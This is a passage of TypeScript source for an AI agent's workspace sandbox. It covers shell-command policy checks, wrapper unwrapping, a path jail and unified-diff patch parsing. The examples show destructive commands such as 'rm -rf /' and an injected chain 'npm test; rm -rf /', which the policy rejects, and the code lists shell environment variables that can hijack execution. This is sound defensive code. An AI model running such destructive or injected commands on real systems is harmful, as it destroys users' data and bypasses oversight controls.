(arg.startsWith(\"-u\") && arg.length > 2)) {\n index++;\n\n continue;\n }\n\n if (arg === \"--\") {\n index++;\n\n break;\n }\n\n if (arg.startsWith(\"-\")) {\n return null;\n }\n\n break;\n }\n\n while (index < argv.length && /^[^=]+=/.test(argv[index] ?? \"\")) {\n index++;\n }\n\n return index;\n}\n\n/** `nice [-n N | -N | --adjustment=N] command…` */\nfunction unwrapNice(argv: string[]): number | null {\n let index = 1;\n\n while (index < argv.length) {\n const arg = argv[index] ?? \"\";\n\n if (arg === \"-n\" || arg === \"--adjustment\") {\n index += 2;\n\n continue;\n }\n\n if (/^-n-?[0-9]+$/.test(arg) || /^--adjustment=-?[0-9]+$/.test(arg) || /^-[0-9]+$/.test(arg)) {\n index++;\n\n continue;\n }\n\n if (arg === \"--\") {\n index++;\n\n break;\n }\n\n if (arg.startsWith(\"-\")) {\n return null;\n }\n\n break;\n }\n\n return index;\n}\n\n/** `timeout [options] DURATION command…` */\nfunction unwrapTimeout(argv: string[]): number | null {\n let index = 1;\n\n while (index < argv.length) {\n const arg = argv[index] ?? \"\";\n\n if (arg === \"-s\" || arg === \"--signal\" || arg === \"-k\" || arg === \"--kill-after\") {\n index += 2;\n\n continue;\n }\n\n if (\n /^-[sk].+$/.test(arg) ||\n arg.startsWith(\"--signal=\") ||\n arg.startsWith(\"--kill-after=\") ||\n arg === \"--preserve-status\" ||\n arg === \"--foreground\" ||\n arg === \"-v\" ||\n arg === \"--verbose\"\n ) {\n index++;\n\n continue;\n }\n\n if (arg === \"--\") {\n index++;\n\n break;\n }\n\n if (arg.startsWith(\"-\")) {\n return null;\n }\n\n break;\n }\n\n // The duration, then the command.\n if (index >= argv.length - 1) {\n return null;\n }\n\n return index + 1;\n}\n\n/** `exec [-cl] [-a name] command…` (bash). */\nfunction unwrapExec(argv: string[]): number | null {\n let index = 1;\n\n while (index < argv.length) {\n const arg = argv[index] ?? \"\";\n\n if (arg === \"-c\" || arg === \"-l\" || arg === \"-cl\" || arg === \"-lc\") {\n index++;\n\n continue;\n }\n\n if (arg === \"-a\") {\n index += 2;\n\n continue;\n }\n\n if (arg === \"--\") {\n index++;\n\n break;\n }\n\n if (arg.startsWith(\"-\")) {\n return null;\n }\n\n break;\n }\n\n return index;\n}\n\n/** The commands `find -exec / -execdir / -ok / -okdir … ;|+` runs. */\nfunction unwrapFind(argv: string[]): Array<[number, number]> | null | undefined {\n const inner: Array<[number, number]> = [];\n\n for (let index = 1; index < argv.length; index++) {\n const arg = argv[index] ?? \"\";\n\n if (arg !== \"-exec\" && arg !== \"-execdir\" && arg !== \"-ok\" && arg !== \"-okdir\") {\n continue;\n }\n\n const start = index + 1;\n let end = start;\n\n while (end < argv.length && argv[end] !== \";\" && argv[end] !== \"+\") {\n end++;\n }\n\n if (end >= argv.length || end === start) {\n return null;\n }\n\n inner.push([start, end]);\n index = end;\n }\n\n return inner.length > 0 ? inner : undefined;\n}\n\n/** Build the argv-mode refusal for a line that is not a single argv. */\nfunction argvModeRefusal(command: string): Refusal {\n const analysis = analyzeArgvCommand(command);\n\n if (analysis.ok) {\n // Not reached: callers only ask for a refusal of a line that failed.\n return new Refusal(\"metacharacter\", \"The command cannot run as a single argv.\");\n }\n\n if (analysis.type === \"empty\") {\n return new Refusal(\"not-allowed\", \"The command is empty.\");\n }\n\n if (analysis.type === \"unbalanced-quotes\") {\n return new Refusal(\n \"unbalanced-quotes\",\n `The command has an unbalanced \\`${analysis.quote}\\` quote. Close it, or quote the argument with the other kind of quote.`,\n );\n }\n\n const token = analysis.token;\n const suffix = \" (run_shell executes a single command without a shell.)\";\n const parsed = parseShellLine(command, \"posix\");\n const segments: ShellSegment[] = parsed.ok ? parsed.segments : [];\n const listOperator = token === \"&&\" || token === \"||\" || token === \";\" || token === \"\\n\";\n\n if (listOperator && segments.length >= 2) {\n const shownOperator = token === \"\\n\" ? \"A line break\" : `\\`${token}\\``;\n const firstWords = (segments[0]?.source ?? \"\").trim().split(/\\s+/);\n\n if (firstWords[0] === \"cd\") {\n const rest = segments.slice(1).map((segment) => show(segment.source));\n\n return new Refusal(\n \"metacharacter\",\n `${shownOperator} is not supported in argv mode, and \\`cd\\` does not carry over: every command starts in the workspace root. Run ${rest.join(\", then \")} on its own, with paths relative to the root.${suffix}`,\n );\n }\n\n const steps = segments.map((segment) => show(segment.source));\n const joiner = token === \"||\" ? \", and if it fails, \" : \", then \";\n\n return new Refusal(\n \"metacharacter\",\n `${shownOperator} is not supported in argv mode: run ${steps.join(joiner)}, as separate commands.${suffix}`,\n );\n }\n\n if (token === \"&\" && segments.length >= 1) {\n const steps = segments.map((segment) => show(segment.source));\n const run =\n steps.length === 1\n ? `run ${steps[0] ?? \"\"} without it`\n : `run ${steps.join(\", then \")} as separate commands`;\n\n return new Refusal(\n \"metacharacter\",\n `\\`&\\` is not supported in argv mode: ${run}; start a long-running command with background: true.${suffix}`,\n );\n }\n\n if (token === \"|\") {\n const pipeline = command\n .split(\"|\")\n .map((part) => part.trim())\n .filter(Boolean);\n\n return new Refusal(\n \"metacharacter\",\n `\\`|\\` (a pipe) is not supported in argv mode: run ${show(pipeline[0] ?? command)} on its own and read its output yourself.${suffix}`,\n );\n }\n\n if (token === \">\" || token === \">>\" || token === \">&\") {\n return new Refusal(\n \"metacharacter\",\n `\\`${token}\\` (redirection) is not supported in argv mode: run the command without it and save the output with write_file if you need it.${suffix}`,\n );\n }\n\n if (token === \"<\" || token === \"<<\" || token === \"<&\") {\n return new Refusal(\n \"metacharacter\",\n `\\`${token}\\` (input redirection) is not supported in argv mode: pass the file path to the command as an argument.${suffix}`,\n );\n }\n\n if (token === \"$(\" || token === \"`\") {\n return new Refusal(\n \"metacharacter\",\n `Command substitution (${token === \"$(\" ? \"`$(…)`\" : \"backticks\"}) is not supported in argv mode: run the inner command first, then pass its output literally.${suffix}`,\n );\n }\n\n if (token === \"$\" || token === \"${\") {\n return new Refusal(\n \"metacharacter\",\n `\\`$\\` (variable expansion) is not supported in argv mode: write the value literally, or put the \\`$\\` inside quotes to pass it as text.${suffix}`,\n );\n }\n\n if (token === \"(\" || token === \")\") {\n return new Refusal(\n \"metacharacter\",\n `\\`${token}\\` is not supported in argv mode: put it inside quotes to pass it as text.${suffix}`,\n );\n }\n\n return new Refusal(\n \"metacharacter\",\n `\\`${token === \"\\n\" ? \"\\\\n\" : token}\\` is not supported in argv mode: run one command per call, and quote any argument that contains it.${suffix}`,\n );\n}\n\n/** Check a shell-mode line. */\nfunction checkShellLine(\n checker: LineChecker,\n policy: WorkspacePolicy,\n command: string,\n dialect: ShellDialect,\n): void {\n if (/^[-+]/.test(command)) {\n throw new Refusal(\"unsupported-syntax\", \"A command line may not start with `-` or `+`.\");\n }\n\n const parsed = parseShellLine(command, dialect);\n\n if (!parsed.ok) {\n if (checker.askMode) {\n checker.addAsk([command], \"unparsed\");\n\n return;\n }\n\n throw new Refusal(\n parsed.reason,\n `${parsed.message} The workspace shell policy only runs lines it can check.`,\n );\n }\n\n if (parsed.background) {\n throw new Refusal(\n \"unsupported-syntax\",\n \"`&` (run in the background) is not supported in a command line: start a long-running command with background: true instead.\",\n );\n }\n\n let cwds = [path.resolve(policy.cwd)];\n\n for (const simple of parsed.commands) {\n cwds = checkSimpleCommand(checker, simple, cwds, dialect);\n }\n}\n\n/** Check one parsed simple command; returns the possible working directories after it. */\nfunction checkSimpleCommand(\n checker: LineChecker,\n simple: ShellSimpleCommand,\n cwds: string[],\n dialect: ShellDialect,\n): string[] {\n for (const assignment of simple.assignments) {\n const name = assignment.assignmentName ?? \"\";\n\n if (SENSITIVE_VARIABLES.has(name) || name.startsWith(\"BASH_FUNC_\")) {\n throw new Refusal(\n \"unsupported-syntax\",\n `Assigning \\`${name}\\` is not supported: it changes how the shell runs the commands that follow.`,\n );\n }\n }\n\n for (const redirect of simple.redirects) {\n if (redirect.type === \"read\" || redirect.type === \"write\") {\n checker.checkRedirectTarget(redirect.target, redirect.type, cwds);\n }\n }\n\n const first = simple.words[0];\n\n if (first === undefined) {\n return cwds;\n }\n\n const executable = first.dynamic ? \"\" : executableBasename(first.value, dialect).toLowerCase();\n const powershell = dialect === \"powershell\" || dialect === \"powershell5\";\n\n if (executable === \"cd\" || (powershell && POWERSHELL_CD_NAMES.has(executable))) {\n // A `cd` the policy cannot follow would let later targets escape the jail:\n // it is refused outright, never turned into an ask.\n checker.assertExecutableNotDenied(\n executable,\n simple.words.map((word) => word.value),\n );\n\n if (powershell) {\n const words = normalizePowerShellCd(simple.words);\n\n if (words === null) {\n throw new Refusal(\n \"unsupported-syntax\",\n \"`Set-Location` is supported with one directory (`-Path` / `-LiteralPath` or positional) only.\",\n \"cd\",\n );\n }\n\n return checker.checkCd(words, cwds);\n }\n\n return checker.checkCd(simple.words, cwds);\n }\n\n try {\n if (!first.dynamic && first.value.includes(\"=\")) {\n throw new Refusal(\n \"unsupported-syntax\",\n `\\`${first.raw}\\` is not a plain command name or \\`NAME=value\\` assignment.`,\n );\n }\n\n if (/^[-+]/.test(first.value)) {\n throw new Refusal(\"unsupported-syntax\", `\\`${first.raw}\\` is not a command name.`);\n }\n\n if (checker.hasArgumentHooks) {\n const dynamic = simple.words.find((word) => word.dynamic);\n\n if (dynamic !== undefined) {\n throw new Refusal(\n \"unsupported-syntax\",\n `\\`${dynamic.raw}\\` is decided when the line runs, so it cannot be checked against the workspace shell policy's command rules. Write the value literally (quote globs).`,\n );\n }\n }\n\n if (\n (dialect === \"posix\" && (executable === \"pushd\" || executable === \"popd\")) ||\n (powershell && POWERSHELL_DIRECTORY_STACK.has(executable))\n ) {\n throw new Refusal(\n \"unsupported-syntax\",\n `\\`${executable}\\` is not supported; use \\`${powershell ? \"Set-Location\" : \"cd\"}\\`.`,\n );\n }\n\n const argv = simple.words.map((word) => (word.dynamic ? word.raw : word.value));\n\n checker.checkArgv(\n argv,\n simple.words.map((word) => word.dynamic),\n 0,\n );\n\n if (powershell) {\n const canonical = canonicalPowerShellArgv(argv);\n\n if (canonical !== undefined && canonical.join(\"\\u0000\") !== argv.join(\"\\u0000\")) {\n checker.checkCanonical(canonical);\n }\n }\n } catch (error) {\n // A command the policy cannot read is put to the host instead of refused.\n if (error instanceof Refusal && error.reason === \"unsupported-syntax\" && checker.askMode) {\n checker.addAsk(\n simple.words.map((word) => (word.dynamic ? word.raw : word.value)),\n \"unparsed\",\n );\n\n return cwds;\n }\n\n throw error;\n }\n\n return cwds;\n}\n\n/**\n * The shell policy's verdict on a command line, without touching the\n * filesystem.\n *\n * - **argv mode** (`interpreter: \"none\"`, the default): the line must\n * tokenize into one argv; otherwise it is refused with a\n * `\"metacharacter\"` / `\"unbalanced-quotes\"` reason and a message that\n * names the operator and suggests the split.\n * - **shell mode** (`interpreter: \"sh\"`): the line is parsed and every\n * simple command — inside `;`, `&&`, `||`, pipes, subshells, `$( )`,\n * backticks and here-documents — is checked; redirection targets and `cd`\n * directories must stay in the jail (checked lexically here; `exec`\n * re-checks them with symlinks resolved).\n *\n * Every argv goes through `deny` (case-insensitive, wins), `allow`\n * (exhaustive when non-empty), `denyPatterns` and `allowCommand`.\n * Wrappers (`env`, `time`, `timeout`, `nice`, `nohup`, `command`,\n * `builtin`, `exec`) and `find -exec` are followed to the command they run.\n * A runner the policy cannot see into (`bash -c`, `eval`, `xargs`, `sudo`,\n * …) is refused while the policy has deny rules, unless `allow` names it.\n *\n * @example\n * checkShellCommand({ cwd, shell: { allow: [\"git\"] } }, \"git add -A && git commit -m wip\");\n * // { allowed: false, reason: \"metacharacter\", message: \"`&&` is not supported in argv mode: run `git add -A`, then `git commit -m wip`, …\" }\n */\nexport function checkShellCommand(\n policy: WorkspacePolicy,\n command: string,\n options?: ShellCheckOptions,\n): WorkspaceShellCheck {\n const resolved =\n options?.resolved ?? resolveShell(policy.shell, options?.host ?? currentShellHost());\n\n return runCheck(policy, command, resolved.interpreter, resolved.dialect, options?.remembered);\n}\n\n/**\n * {@link checkShellCommand} with the shell-mode dialect chosen explicitly\n * instead of from the interpreter (used to test the cmd.exe and PowerShell\n * rules anywhere). Argv mode ignores `dialect`.\n */\nexport function checkShellCommandInDialect(\n policy: WorkspacePolicy,\n command: string,\n dialect: ShellDialect,\n options?: ShellCheckOptions,\n): WorkspaceShellCheck {\n const resolved =\n options?.resolved ?? resolveShell(policy.shell, options?.host ?? currentShellHost());\n\n return runCheck(policy, command, resolved.interpreter, dialect, options?.remembered);\n}\n\nfunction runCheck(\n policy: WorkspacePolicy,\n command: string,\n interpreter: ResolvedShellInterpreter,\n dialect: ShellDialect,\n remembered?: readonly WorkspaceCommandPattern[],\n): WorkspaceShellCheck {\n const shell = policy.shell;\n\n if (!shell) {\n return {\n allowed: false,\n reason: \"not-allowed\",\n message: \"The workspace has no shell policy, so no command may run.\",\n asks: [],\n commands: [],\n paths: [],\n };\n }\n\n const shellMode = interpreter !== \"none\";\n const checker = new LineChecker(\n policy,\n shell,\n command,\n shellMode ? dialect : \"posix\",\n interpreter,\n remembered,\n );\n\n try {\n if (command.trim() === \"\") {\n throw new Refusal(\"not-allowed\", \"The command is empty.\");\n }\n\n if (shellMode) {\n checkShellLine(checker, policy, command, dialect);\n } else {\n const argv = tokenizeCommand(command);\n\n if (argv === null) {\n throw argvModeRefusal(command);\n }\n\n checker.checkArgv(\n argv,\n argv.map(() => false),\n 0,\n );\n }\n\n if (checker.asks.length > 0) {\n const first = checker.asks[0] as WorkspaceShellAsk;\n const shown = show(first.argv.join(\" \"));\n const why = first.rule?.reason !== undefined ? ` ${first.rule.reason}` : \"\";\n\n return {\n allowed: false,\n reason: \"approval-required\",\n message: `${shown} needs approval, and the workspace shell policy has no approval handler (shell.onAsk).${why}`,\n asks: checker.asks,\n commands: checker.commands,\n paths: checker.paths,\n };\n }\n\n return { allowed: true, asks: [], commands: checker.commands, paths: checker.paths };\n } catch (error) {\n if (!(error instanceof Refusal)) {\n throw error;\n }\n\n return {\n allowed: false,\n reason: error.reason,\n message: error.message,\n ...(error.executable !== undefined ? { executable: error.executable } : {}),\n ...(error.refusedPath !== undefined ? { path: error.refusedPath } : {}),\n asks: [],\n commands: checker.commands,\n paths: checker.paths,\n };\n }\n}\n\n/**\n * The simple commands a line would run (pipeline members, `&&` / `||` / `;`\n * parts, subshells and substitutions included), without checking anything.\n * A line the parser cannot read with confidence comes back with `opaque`\n * set to the reason and no commands.\n *\n * The line is read with the policy's shell dialect when its `interpreter`\n * is a shell, and with the platform's default shell otherwise.\n *\n * @example\n * classifyShellCommand(\"a | b\"); // { commands: [[\"a\"], [\"b\"]] }\n */\nexport function classifyShellCommand(\n command: string,\n policy?: Pick<WorkspacePolicy, \"shell\">,\n host?: ShellHost,\n): WorkspaceShellClassification {\n const resolved = resolveShell(policy?.shell, host ?? currentShellHost());\n const dialect = resolved.interpreter === \"none\" ? shellDialect() : resolved.dialect;\n const parsed = parseShellLine(command, dialect);\n\n if (!parsed.ok) {\n return { commands: [], opaque: parsed.message };\n }\n\n return {\n commands: parsed.commands\n .filter((simple) => simple.words.length > 0)\n .map((simple) => simple.words.map((word) => (word.dynamic ? word.raw : word.value))),\n };\n}\n","import path from \"node:path\";\nimport { realpath } from \"node:fs/promises\";\nimport { WorkspacePolicyError } from \"../errors\";\nimport type { WorkspacePolicy } from \"../contracts\";\nimport { isInside, matchesAnyGlob } from \"./jail\";\nimport { resolveSpillDir } from \"../output/spill-dir\";\nimport { checkShellCommand } from \"./shell-check\";\n\n/**\n * The outcome of resolving a workspace-relative (or absolute) input path\n * against the jail — the canonical absolute location the backend should\n * touch, plus the workspace-relative form (POSIX-style, `/`-separated)\n * the agent and tool results echo back.\n */\nexport interface ResolvedPath {\n /** Canonical absolute path (symlinks in existing ancestors collapsed). */\n absolutePath: string;\n /**\n * The path relative to `policy.cwd`, `/`-separated regardless of OS,\n * used in tool results so the agent always sees stable workspace paths.\n * Empty string when the resolved path IS the jail root.\n */\n relativePath: string;\n}\n\n/**\n * Resolve the canonical absolute form of `target`, collapsing any\n * symlinks. `target` may not yet exist (a fresh `writeFile`/`mkdir`),\n * so we realpath the deepest **existing** ancestor and re-attach the\n * non-existent tail — a symlinked ancestor still cannot smuggle the\n * path out of the jail, while genuinely new leaves stay creatable.\n */\nasync function canonicalize(target: string): Promise<string> {\n let resolvedTarget = path.resolve(target);\n const tail: string[] = [];\n\n // Walk up until an existing ancestor is found (or we hit the root).\n // eslint-disable-next-line no-constant-condition\n while (true) {\n try {\n const real = await realpath(resolvedTarget);\n\n return tail.length > 0 ? path.join(real, ...tail) : real;\n } catch (error) {\n const code = (error as NodeJS.ErrnoException).code;\n\n // Only ENOENT means \"this segment doesn't exist yet\" — keep\n // walking up. Any other error (EACCES, ELOOP, …) is a real fault.\n if (code !== \"ENOENT\") {\n throw error;\n }\n\n const parent = path.dirname(resolvedTarget);\n\n // Reached the filesystem root without finding an existing\n // ancestor — give back the lexically-resolved path unchanged.\n if (parent === resolvedTarget) {\n return path.join(resolvedTarget, ...tail);\n }\n\n tail.unshift(path.basename(resolvedTarget));\n resolvedTarget = parent;\n }\n }\n}\n\n/**\n * Resolve and jail a single input path against a {@link WorkspacePolicy}.\n *\n * The input is resolved against `policy.cwd`, canonicalized (symlinks in\n * existing ancestors collapsed so a symlinked directory cannot escape\n * the jail), then accepted **only** when it sits under `cwd` or one of\n * the `allowPaths` roots. A path that escapes, or that matches any\n * `denyPaths` glob even while inside `cwd`, is rejected with a\n * {@link WorkspacePolicyError} of type `\"path-escape\"`.\n *\n * Why this does not use `@warlock.js/fs`'s confined reader (`fs.confined`):\n * the two answer different questions. The confined reader refuses absolute\n * paths, refuses every symbolic link (or follows only links inside its one\n * root), requires the path to exist, and reads the file itself through a\n * no-follow, identity-checked open. This jail must instead accept absolute\n * paths inside `cwd`, several `allowPaths` roots, `denyPaths` globs, a\n * symlinked `cwd`, links whose target stays inside, and paths that do not\n * exist yet (`writeFile`, `mkdir`), and it returns a path that writes,\n * `exec`'s working directory and redirections use afterwards. Switching would\n * change what agents may touch, so the workspace keeps this resolver.\n *\n * @param policy - The bounding policy (its `cwd` is the jail root).\n * @param inputPath - A workspace-relative or absolute path to resolve.\n * @param access - `\"read\"` also accepts the `output.spillDir` directory (only\n * `readFile` asks for it); `\"write\"` (default) never does.\n * @returns The canonical absolute path plus its `/`-separated relative form.\n * @throws {WorkspacePolicyError} When the path escapes the jail or hits a deny glob.\n *\n * @example\n * const { absolutePath } = await resolveInJail(policy, \"src/index.ts\");\n */\nexport async function resolveInJail(\n policy: WorkspacePolicy,\n inputPath: string,\n access: \"read\" | \"write\" = \"write\",\n): Promise<ResolvedPath> {\n const jailRoot = await canonicalize(policy.cwd);\n const requested = path.isAbsolute(inputPath) ? inputPath : path.join(policy.cwd, inputPath);\n const absolutePath = await canonicalize(requested);\n\n const insideCwd = isInside(absolutePath, jailRoot);\n const allowRoots = policy.allowPaths ?? [];\n let insideAllow = false;\n\n if (!insideCwd) {\n for (const root of allowRoots) {\n const canonicalRoot = await canonicalize(root);\n\n if (isInside(absolutePath, canonicalRoot)) {\n insideAllow = true;\n\n break;\n }\n }\n }\n\n const spillDir = access === \"read\" && !insideCwd ? resolveSpillDir(policy) : undefined;\n\n if (spillDir !== undefined && isInside(absolutePath, await canonicalize(spillDir))) {\n return { absolutePath, relativePath: \"\" };\n }\n\n if (!insideCwd && !insideAllow) {\n throw new WorkspacePolicyError(`Path \"${inputPath}\" resolves outside the workspace jail.`, {\n type: \"path-escape\",\n path: inputPath,\n });\n }\n\n // `denyPaths` is evaluated relative to the jail root and wins even\n // when the path is comfortably inside `cwd`.\n const relativeToJail = insideCwd\n ? path.relative(jailRoot, absolutePath).split(path.sep).join(\"/\")\n : \"\";\n\n if (insideCwd && policy.denyPaths && policy.denyPaths.length > 0) {\n if (matchesAnyGlob(relativeToJail, policy.denyPaths)) {\n throw new WorkspacePolicyError(`Path \"${inputPath}\" is blocked by the workspace deny list.`, {\n type: \"path-escape\",\n path: inputPath,\n });\n }\n }\n\n return { absolutePath, relativePath: relativeToJail };\n}\n\n/**\n * Whether a command line is permitted by the policy's `shell` sub-policy —\n * `checkShellCommand(policy, command).allowed`.\n *\n * In argv mode (the default) the command must tokenize into a single argv\n * (no unquoted `;`, `&&`, `|`, backticks, `$`, redirection, …): the backend\n * spawns it with no shell, and unquoted metacharacters were exactly how an\n * injected command chain used to ride past the allowlist. In shell mode\n * (`interpreter: \"sh\"`) every simple command in the line is checked. Each\n * argv's executable basename is matched against `shell.deny` (wins, case\n * insensitive) then `shell.allow` (exhaustive when non-empty), then\n * `shell.denyPatterns` and `shell.allowCommand`. An absent `shell` block\n * means no command may run at all.\n *\n * Returns a plain `boolean`; use {@link checkShellCommand} for the reason\n * and the model-facing message. Redirection targets are checked lexically\n * here; `exec` re-checks them with symlinks resolved.\n *\n * @example\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"npm test\"); // true\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"rm -rf /\"); // false\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"npm test; rm -rf /\"); // false\n */\nexport function isCommandAllowed(policy: WorkspacePolicy, command: string): boolean {\n return checkShellCommand(policy, command).allowed;\n}\n\n/**\n * Build the exact environment a spawned process receives — `process.env`\n * is **never** inherited wholesale. The result is\n * `{ ...pick(process.env, inheritEnv), ...shell.env }`, so a command\n * cannot see `PATH` (and thus often cannot find `node`/`npm`) unless the\n * policy opts in via `shell.inheritEnv: [\"PATH\"]`. Explicit `shell.env`\n * values override inherited ones on key collision.\n *\n * @example\n * buildEnv({ cwd, shell: { inheritEnv: [\"PATH\"], env: { CI: \"1\" } } });\n * // → { PATH: <process PATH>, CI: \"1\" }\n */\nexport function buildEnv(policy: WorkspacePolicy): Record<string, string> {\n const shell = policy.shell;\n const env: Record<string, string> = {};\n\n if (!shell) {\n return env;\n }\n\n for (const key of shell.inheritEnv ?? []) {\n const value = process.env[key];\n\n if (value !== undefined) {\n env[key] = value;\n }\n }\n\n if (shell.env) {\n for (const [key, value] of Object.entries(shell.env)) {\n env[key] = value;\n }\n }\n\n return env;\n}\n\n/**\n * Variables removed from the environment of a shell-mode (`interpreter`\n * other than `\"none\"`) command: each changes how the shell itself starts, parses or\n * resolves the line (`ENV`/`BASH_ENV` run a startup file, `SHELLOPTS` +\n * `PS4` can run command substitutions, `BASH_FUNC_*` imports functions that\n * shadow commands, `CDPATH` moves `cd`, `IFS` re-splits words).\n */\nconst SHELL_STARTUP_VARIABLES = new Set([\n \"ENV\",\n \"BASH_ENV\",\n \"SHELLOPTS\",\n \"BASHOPTS\",\n \"CDPATH\",\n \"IFS\",\n \"PS4\",\n \"GLOBIGNORE\",\n]);\n\n/**\n * The environment a command actually receives: {@link buildEnv}, minus the\n * shell start-up variables when the policy runs lines through a shell.\n * Compared case-insensitively, because Windows environment names are.\n */\nexport function buildCommandEnv(policy: WorkspacePolicy): Record<string, string> {\n const env = buildEnv(policy);\n\n if ((policy.shell?.interpreter ?? \"none\") === \"none\") {\n return env;\n }\n\n for (const key of Object.keys(env)) {\n const upper = key.toUpperCase();\n\n if (SHELL_STARTUP_VARIABLES.has(upper) || upper.startsWith(\"BASH_FUNC_\")) {\n delete env[key];\n }\n }\n\n return env;\n}\n","import { WorkspaceEditError } from \"../errors\";\nimport type { PatchHunk } from \"./parse-patch\";\n\n/** The text of a line without a trailing carriage return. */\nconst bare = (line: string): string => (line.endsWith(\"\\r\") ? line.slice(0, -1) : line);\n\n/** Same, and ignoring trailing blanks (a second, looser matching pass). */\nconst loose = (line: string): string => bare(line).trimEnd();\n\n/** Split file content into lines (carriage returns kept) and note the final newline. */\nfunction split(content: string): { lines: string[]; trailingNewline: boolean } {\n if (content === \"\") {\n return { lines: [], trailingNewline: false };\n }\n\n const parts = content.split(\"\\n\");\n const trailingNewline = parts[parts.length - 1] === \"\";\n\n if (trailingNewline) {\n parts.pop();\n }\n\n return { lines: parts, trailingNewline };\n}\n\n/** Whether most of the file's lines end in CRLF. */\nfunction usesCrlf(lines: string[]): boolean {\n const crlf = lines.filter((line) => line.endsWith(\"\\r\")).length;\n\n return crlf > 0 && crlf * 2 >= lines.length;\n}\n\n/** First index at or after `from` (searching outward from `expected`) where `old` matches. */\nfunction findMatch(\n lines: string[],\n old: string[],\n expected: number,\n from: number,\n normalize: (line: string) => string,\n): number {\n if (old.length === 0) {\n return Math.min(Math.max(expected, from), lines.length);\n }\n\n const last = lines.length - old.length;\n const wanted = old.map(normalize);\n const matches = (start: number): boolean =>\n start >= from &&\n start <= last &&\n wanted.every((line, offset) => normalize(lines[start + offset] as string) === line);\n\n for (let distance = 0; distance <= lines.length; distance++) {\n if (matches(expected + distance)) {\n return expected + distance;\n }\n\n if (distance > 0 && matches(expected - distance)) {\n return expected - distance;\n }\n }\n\n return -1;\n}\n\n/**\n * Apply a file's hunks to its content, in memory. Hunks are located by their\n * context (not only by line number, so a few lines of drift are fine), must\n * not overlap, and keep the file's line endings: untouched lines are\n * byte-for-byte as they were and added lines use the file's CRLF/LF style.\n *\n * Throws a `WorkspaceEditError` (`hunk-failed`) naming the first hunk whose\n * context is not in the file; nothing is returned in that case.\n */\nexport function applyHunks(content: string, hunks: PatchHunk[], displayPath: string): string {\n const { lines, trailingNewline: initialTrailing } = split(content);\n const wasEmpty = lines.length === 0;\n const eol = usesCrlf(lines) ? \"\\r\" : \"\";\n let trailingNewline = initialTrailing;\n let cursor = 0;\n let delta = 0;\n\n hunks.forEach((hunk, hunkIndex) => {\n const old = hunk.lines.filter((line) => line.op !== \"+\").map((line) => line.text);\n // For a hunk with no old lines `oldStart` is the line *after which* to insert.\n const expected = (old.length === 0 ? hunk.oldStart : hunk.oldStart - 1) + delta;\n let start = findMatch(lines, old, expected, cursor, bare);\n\n if (start === -1) {\n start = findMatch(lines, old, expected, cursor, loose);\n }\n\n if (start === -1) {\n const probe = old.find((line) => line.trim() !== \"\") ?? old[0] ?? \"\";\n\n throw new WorkspaceEditError(\n `Hunk ${hunkIndex + 1} of ${displayPath} does not apply: its context was not found in the file${probe === \"\" ? \"\" : ` (looked for a line like ${JSON.stringify(probe.slice(0, 80))})`}. Re-read the file and regenerate the patch.`,\n { type: \"hunk-failed\", path: displayPath, hunkIndex },\n );\n }\n\n const replacement: string[] = [];\n let consumed = start;\n\n for (const line of hunk.lines) {\n if (line.op === \" \") {\n replacement.push(lines[consumed] as string);\n consumed++;\n } else if (line.op === \"-\") {\n consumed++;\n } else {\n replacement.push(line.text + eol);\n }\n }\n\n lines.splice(start, old.length, ...replacement);\n cursor = start + replacement.length;\n delta += replacement.length - old.length;\n\n if (cursor >= lines.length) {\n if (hunk.newNoNewline) {\n trailingNewline = false;\n } else if (hunk.oldNoNewline || wasEmpty) {\n trailingNewline = true;\n }\n }\n });\n\n if (lines.length === 0) {\n return \"\";\n }\n\n // A final line that kept its \"\\r\" but now ends the file without a newline\n // is left alone; only the newline itself is toggled.\n return lines.join(\"\\n\") + (trailingNewline ? \"\\n\" : \"\");\n}\n","import { WorkspaceEditError } from \"../errors\";\n\n/** One line of a hunk: context (`\" \"`), removal (`\"-\"`) or addition (`\"+\"`). */\nexport interface PatchLine {\n /** What the line does. */\n op: \" \" | \"-\" | \"+\";\n /** The line's text, without its line ending. */\n text: string;\n}\n\n/** One `@@ … @@` block of a file's patch. */\nexport interface PatchHunk {\n /** 1-based first line in the old file (the line *after* which text is inserted when `oldCount` is 0). */\n oldStart: number;\n /** Number of old-file lines the hunk covers. */\n oldCount: number;\n /** The hunk body. */\n lines: PatchLine[];\n /** The old side ends without a trailing newline. */\n oldNoNewline: boolean;\n /** The new side ends without a trailing newline. */\n newNoNewline: boolean;\n}\n\n/** What a file's patch does to the tree. */\nexport type FilePatchKind = \"modify\" | \"create\" | \"delete\" | \"rename\";\n\n/** Everything a unified diff says about one file. */\nexport interface FilePatch {\n kind: FilePatchKind;\n /** Path before the change (`null` for a create). */\n oldPath: string | null;\n /** Path after the change (`null` for a delete). */\n newPath: string | null;\n hunks: PatchHunk[];\n}\n\n/** Longest patch text accepted, in characters. */\nexport const MAX_PATCH_CHARS = 2 * 1024 * 1024;\n\n/** Most files one patch may touch. */\nexport const MAX_PATCH_FILES = 200;\n\nconst HUNK_HEADER = /^@@ -(\\d+)(?:,(\\d+))? \\+(\\d+)(?:,(\\d+))? @@/;\n\nfunction invalid(message: string, path = \"\"): WorkspaceEditError {\n return new WorkspaceEditError(message, { type: \"patch-invalid\", path });\n}\n\n/** Unquote a git-quoted path (`\"a/with\\ttab\"`) and strip a trailing timestamp. */\nfunction cleanPath(raw: string): string {\n let value = raw.trim();\n\n if (value.startsWith('\"')) {\n const end = value.lastIndexOf('\"');\n const body = end > 0 ? value.slice(1, end) : value.slice(1);\n\n return body.replace(/\\\\([\"\\\\tn])/g, (_match, char: string) =>\n char === \"t\" ? \"\\t\" : char === \"n\" ? \"\\n\" : char,\n );\n }\n\n // `--- a/file.ts\\t2026-01-01 00:00:00` — the timestamp follows a tab.\n const tab = value.indexOf(\"\\t\");\n\n if (tab !== -1) {\n value = value.slice(0, tab);\n }\n\n return value.trimEnd();\n}\n\n/** `a/x` → `x`; `/dev/null` → `null`. */\nfunction stripPrefix(raw: string, git: boolean): string | null {\n const value = cleanPath(raw);\n\n if (value === \"/dev/null\") {\n return null;\n }\n\n return git && /^[ab]\\//.test(value) ? value.slice(2) : value;\n}\n\n/**\n * Parse a unified diff (plain or `git diff` style) into per-file patches:\n * modifications, creates (`--- /dev/null`), deletes (`+++ /dev/null`) and\n * renames (`rename from` / `rename to`). A binary patch, a copy, or text that\n * is not a diff throws a `WorkspaceEditError` (`patch-invalid` /\n * 